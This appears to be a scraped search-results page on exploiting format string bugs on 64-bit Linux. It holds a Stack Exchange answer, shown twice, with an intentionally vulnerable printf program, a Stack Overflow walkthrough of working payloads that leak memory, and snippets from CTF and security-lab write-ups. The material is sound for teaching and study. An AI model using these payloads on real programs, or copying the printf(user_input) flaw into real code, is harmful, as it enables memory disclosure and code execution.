If you're using the example code from the book (below), at some point you should reach the "AAAAAAAA" pattern (0x41). Note that, since you're running it on a 64-bit machine that stores elements in the stack with 8 bytes each, you should run it with $ ./fmtstr "AAAAAAAA %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x" instead, or you will miss part of each element on the stack.

#include <stdlib.h>
int main(int argc, char *argv[]){
        static int canary=0;   // stores the canary value in .data section
        char temp[2048];       // string to hold large temp string
      strcpy(temp, argv[1]);   // take argv1 input and jam into temp
      printf(temp);            // print value of temp
      printf("\n");            // print carriage return
      printf("Canary at 0x%08x = 0x%08x\n", &canary, canary); //print canary
}

You should pay attention to the quote in the book that states:

The fact that the fourth item shown (from the stack) was our format string depends on the nature of the format function used and the location of the vulnerable call in the vulnerable program. To find this value, simply use brute force and keep increasing the number of %08x tokens until the beginning of the format string is found. For our simple example (fmtstr), the distance, called the offset, is defined as 4.

Remember that the parameter being parsed to printf isn't the string itself, but the address of the string. So it's position on the memory layout of the program in relation to the printf stack is what will define how further you'll have to search to find it.

Answer from murphsghost on Stack Exchange
Top answer
1 of 1
6

If you're using the example code from the book (below), at some point you should reach the "AAAAAAAA" pattern (0x41). Note that, since you're running it on a 64-bit machine that stores elements in the stack with 8 bytes each, you should run it with $ ./fmtstr "AAAAAAAA %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x" instead, or you will miss part of each element on the stack.

#include <stdlib.h>
int main(int argc, char *argv[]){
        static int canary=0;   // stores the canary value in .data section
        char temp[2048];       // string to hold large temp string
      strcpy(temp, argv[1]);   // take argv1 input and jam into temp
      printf(temp);            // print value of temp
      printf("\n");            // print carriage return
      printf("Canary at 0x%08x = 0x%08x\n", &canary, canary); //print canary
}

You should pay attention to the quote in the book that states:

The fact that the fourth item shown (from the stack) was our format string depends on the nature of the format function used and the location of the vulnerable call in the vulnerable program. To find this value, simply use brute force and keep increasing the number of %08x tokens until the beginning of the format string is found. For our simple example (fmtstr), the distance, called the offset, is defined as 4.

Remember that the parameter being parsed to printf isn't the string itself, but the address of the string. So it's position on the memory layout of the program in relation to the printf stack is what will define how further you'll have to search to find it.

🌐
Seedsecuritylabs
seedsecuritylabs.org › Labs_20.04 › Files › Format_String_x64 › Format_String_x64.pdf pdf
SEED Labs – Format String Vulnerability Lab (64-bit) 1
supports 64-bit address space, only the address from 0x00 through 0x00007FFFFFFFFFFF is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem. In the attack, we need to place addresses inside the format string.
Discussions

linux - Format string vulnerability exploit in 64 bits systems - Stack Overflow
I am studying the format string vulnerability on my 64-bit ubuntu 14.04 machine. The code is very simple: #include int target = 0; void vuln(char *buffer) { printf(buffe... More on stackoverflow.com
🌐 stackoverflow.com
September 12, 2016
64-bit Format String Exploitation.

what's the difference to x86 that is difficult for you?

More on reddit.com
🌐 r/LiveOverflow
3
2
May 5, 2017
Format string exploitation on 64 bit. How about the null bytes?
What is the function taking the input ? It depends on what are the stop chars for that function. Also what is your aim in exploit ? To overwrite some address with %n or something else ? Like depending on target partial overwrite or something can be tried. I also have an article on format strings on 64 bit. https://www.ret2rop.com/2018/10/format-strings-got-overwrite-remote.html More on reddit.com
🌐 r/LiveOverflow
2
6
April 26, 2020
c - Format String Exploit, unexpected result - Stack Overflow
I can spot the AAAA as 41414141 ... input string in the buffer. Is this some sort of protection mechanism or am I misinterpreting something? My goal is to overwrite return address, and I need to read 8 bytes (AAAABBBB) as I'm working on 64-bits machine. Pseudo-code for exploit string would ... More on stackoverflow.com
🌐 stackoverflow.com
July 4, 2016
🌐
tripoloski blog
tripoloski1337.github.io › ctf › 2020 › 06 › 11 › format-string-bug.html
Exploiting Format String bug | tripoloski blog
June 11, 2020 - on 64bit there is null char on the address , so we have to place the address at the end of the payload because if printf found a null char ‘\x00’ it will simply terminate to print , i assume you already know about little endian · for example to exploit format string and doing arbitrary ...
🌐
Stack Overflow
stackoverflow.com › questions › 30408045 › format-string-vulnerability-exploit-in-64-bits-systems
linux - Format string vulnerability exploit in 64 bits systems - Stack Overflow
September 12, 2016 - I am studying the format string vulnerability on my 64-bit ubuntu 14.04 machine. The code is very simple: #include int target = 0; void vuln(char *buffer) { printf(buffe...
🌐
nixhacker
nixhacker.com › case-of-format-string-in-64-bit-is-it-still-critical
Impact of x64 calling convention in format string exploitation
October 19, 2020 - The exploitation of format string ... to remote code execution. In 64 bit system the format strings exploitation is still present but the basics get changed a little due to 64 bit calling convention....
🌐
Reddit
reddit.com › r/liveoverflow › 64-bit format string exploitation.
r/LiveOverflow on Reddit: 64-bit Format String Exploitation.
May 5, 2017 -

Hey LiveOverflow,

I've recently come across a few 64-bit Format String challenges in CTF's and they always seem to stump me. This is mainly because there seems to be very little on the web for 64-bit format strings exploitation (most is x86).

Are you aware of any content that could help me in learning how to pwn 64-bit format strings?

Thanks!

🌐
NVISO Labs
blog.nviso.eu › 2024 › 05 › 23 › format-string-exploitation-a-hands-on-exploration-for-linux
Format String Exploitation: A Hands-On Exploration for Linux – NVISO Labs
May 23, 2024 - # Making both the executable & linker executable chmod u+x format-string-3 ld-linux-x86-64.so.2 # Executing the binary ./format-string-3 Howdy gamers! Okay I'll be nice.
Find elsewhere
🌐
Reddit
reddit.com › r/liveoverflow › format string exploitation on 64 bit. how about the null bytes?
r/LiveOverflow on Reddit: Format string exploitation on 64 bit. How about the null bytes?
April 26, 2020 -

I'm new to the argument, but I'm trying to do some very simple exercises on format string vulnerability. I'm unfortunately incurring in a problem: when I write the target address in which I will write with %_c (for example \x38\xdb\xff\xff\xff\x7f for 0x00007fffffffdb38) im not able to replicate the 0x0000 right before 7fffffffdb38. So when I try to run it the program will try to write with %c in the address : 0x[ _ _ _ --> random values that were previously there]7fffffffdb38. How can I actually write there 0x00007fffffffdb38? Obviously by doing : \x38\xdb\xff\xff\xff\x7f\x00\x00 won't solve the problem, as it will not overwrite the first 4 slots of the address.

Thanks to anyone that will try to help me.

🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › how-to-exploit-format-string-vulnerabilities
How to exploit format string vulnerabilities | Infosec
September 21, 2020 - Our objective is to leak this string using the format string vulnerability existing in the vulnerable program. Let us pass multiple %llx strings as user input separated by a colon. %llx is to print long hex values since we are working on a 64-bit processor.
🌐
Stack Overflow
stackoverflow.com › questions › 61160923 › how-to-write-to-adresses-with-format-string-exploit-on-64bit
python - how to write to adresses with format string exploit on 64bit - Stack Overflow
April 12, 2020 - When I attach gdb, check the value of [email protected] with x/x <addr>, and run the exploit, I get a segfault at printf_positional. And when I check the value of [email protected] again, the address is the same as before.
🌐
Blogger
ret2rop.blogspot.com › 2018 › 08 › format-string-defeating-stack-canary-nx-aslr-remote.html
Format String Exploits: Defeating Stack Canary, NX and ASLR Remotely on 64 bit
July 14, 2021 - So our strategy will be first to send format strings then read output and extract libc address and stack canary. Then calculate libc base from the address and generate a return to libc payload. We will call setuid(0); first, as we know modern systems drop privileges when not required in setuid binaries. Since this is 64 bit we will pop 0x0 to rdi register and it will be passed to setuid.
🌐
University of Virginia
cs.virginia.edu › ~cr4bd › 4630 › S2017 › slides › 20170322-slides-1up-animated.pdf pdf
1
April 1, 2017 - format string exploit pattern (x86-64) goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF · write 2000 (short) to address 0x1234567890ABCDF1 · buffer starts 16 bytes above printf return address · %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn…
Top answer
1 of 1
1

So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability. It's a bit sloppy, but hey - it works.

So, first the usual. I create an environment value and find its location:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST                                                                                                
Look at my horse, my horse is amazing.

$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed. Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)

$ printf `python -c "print('%%016lx|' *1)"\
  `$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
  25  30  31  36  6c  78  7c  2d  2d  2d  2d  2d  2d  2d  2d  cb
   %   0   1   6   l   x   |   -   -   -   -   -   -   -   - 313
  ef  ff  ff  ff  7f
 357 377 377 377 177

With that solved, next step would be to find either the padding or (if you're lucky) the address. I'm repeating the format string 110 times, but your mileage might vary:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------

The consecutive '2d' values are just the hex values for '-' After adding more '-' for padding and testing, I ended up with something like this:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

So, the address got pushed towards the very last format placeholder. Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:

$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

It should show the same result, but now it's possible to use an '%s' as the last placeholder. Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:

./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------

Voilà, the environment variable got leaked.

🌐
Cotonne does Craft!
cotonne.github.io › binary › 2020 › 07 › 14 › format-string.html
Exploiting Format String with PwnTools | Cotonne does Craft!
July 14, 2020 - >>> from pwn import * >>> ELF('exploitme') [*] '/home/yvan/tmp/defense/exploitme' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ... Full RELRO: RELRO is for Relocation Read-Only. Linux uses ELF binary format. In this binary, functions called by the program from dependent libraries (like printf from libc) are dynamically resolved.
🌐
DEF CON
defcon.org › images › defcon-18 › dc-18-presentations › Haas › DEFCON-18-Haas-Adv-Format-String-Attacks.pdf pdf
Advanced Format String Attacks Presented by Paul Haas
The largest hacking and security conference with presentations, workshops, contests, villages and the premier Capture The Flag Contest.
🌐
GitHub
github.com › MeadeRobert › PicoCTF2017 › blob › master › binary_exploitation › level3 › config_console › README.md
PicoCTF2017/binary_exploitation/level3/config_console/README.md at master · MeadeRobert/PicoCTF2017
%n is supposed to write the number ... able to write values circa 2^63 by printing out that many characters. Our string must be fit in the 1024 byte buffer....
Author   MeadeRobert
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - method to format string exploitation. The direct parameter access is controlled by the ‘$’ qualifier: printf ("%6$d\n", 6, 5, 4, 3, 2, 1); Prints ‘1’, because the ‘6$’ explicitly addresses the 6th parameter on the · stack. Using this method the whole stack pop sequence can be ...
🌐
Barrebas
barrebas.github.io › blog › 2015 › 02 › 22 › maximum-overkill-two-from-format-string-vulnerability-to-remote-code-execution
Maximum Overkill Two - From Format String Vulnerability to Remote Code Execution - staring into /dev/null
The strncpy takes care of that; any null byte it encounters will make it stop copying. Because we’re on 64-bit, the gadget addresses will for sure contain null bytes.
🌐
BasiliCS
basilics.github.io › 2023 › 09 › 29 › Phoenix-Format-Four.html
Exploit-Education Phoenix format string 4 | BasiliCS
September 29, 2023 - user@phoenix-amd64:~$ readelf -s /opt/phoenix/amd64/format-four [...] 58: 0000000000400644 24 FUNC GLOBAL DEFAULT 8 congratulations · Now, the problem is that we need to overwrite the whole content of the GOT entry corresponding to exit. To do so, we can’t just write 0x400644 characters to stdout, because 1) it would be very long and 2) we would write only on a word (4 bytes), not the whole 64-bit address (only the lower half).